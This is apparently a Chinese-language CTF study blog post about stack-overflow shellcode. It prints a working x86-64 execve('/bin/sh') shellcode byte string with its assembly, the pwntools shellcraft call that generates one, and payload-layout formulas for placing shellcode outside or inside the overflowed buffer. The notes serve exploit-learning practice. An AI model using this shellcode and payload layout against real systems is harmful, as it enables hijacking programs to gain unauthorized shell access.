0%

pwn-shellcode

关于shellcode的理解

shellcode

shellcode就是可以打开shell,获取控制权的汇编指令的opc。一般的PWN题都没有后门,所以就需要自己去写/找/生成shellcode。

使用shellcode类型的有两种溢出方式,第一种是将shellcode溢出到溢出点函数栈外面,第二种是溢出在溢出点函数栈内部。

这里先存一手之前在i春秋看到的shellcode

1
2
3
4
5
6
7
8
9
10
11
shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall

pwntools也提供了生成shellcode的函数

1
shellcode = asm(shellcraft.sh())

栈外shellcode

当函数发生调用的时候,栈就是这样的结构

5d36d2d489b8210497

所以payload需要覆盖callee的地址,将返回地址覆盖为shellcode的起始地址

5d36d4a2cb3b675558

所以payload 结构应该如下

1
2
3
4
5
payload = padding1 + shellcode_addr + padding2 + shellcode
#padding1 : 长度取决于偏移量
#addressofshellcode : 用来覆盖函数的返回地址
#padding2 : 取决于addressofshellcode 和 shellcode之间的距离
#shellcode: 十六进制机器码

栈内shellcode

注意的一点是,如果shellcode是写在buf里的,那么payload的padding2就会是负的,所以这时候的payload的组成应该是

1
payload = padding1 - len(shellcode) + shellcode + shellcode_addr

参考链接: https://zhuanlan.zhihu.com/p/74278785

https://www.guildhab.top/?p=575